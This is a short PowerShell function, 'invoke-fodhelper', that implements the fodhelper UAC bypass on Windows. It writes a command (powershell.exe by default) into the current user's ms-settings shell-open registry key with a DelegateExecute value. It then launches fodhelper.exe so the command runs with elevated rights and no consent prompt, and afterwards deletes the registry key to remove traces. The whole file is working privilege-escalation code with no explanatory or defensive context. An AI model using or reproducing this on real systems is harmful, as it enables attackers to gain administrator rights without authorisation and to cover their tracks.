function invoke-fodhelper{ 
    Param (    
    $instruction = "powershell.exe" 
        )
    
    $path = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
    $key = "DelegateExecute" 
    
    # Creating path
    if(-not(Test-Path -Path $path))
    {
        printMessage -message  "Path doesn't exist"
        printMessage -message  "Creating path"
        New-Item $path -Force
    }

    # Registry values
    New-ItemProperty -Path $path -Name $key -Value $instruction -Force
    Set-ItemProperty -Path $path -Name "(default)" -Value $instruction -Force
    

    Start "fodhelper.exe" 
    
    # Removing
    Sleep 2
    rm -Force -Recurse 'hkcu:\Software\Classes\ms-settings\'
}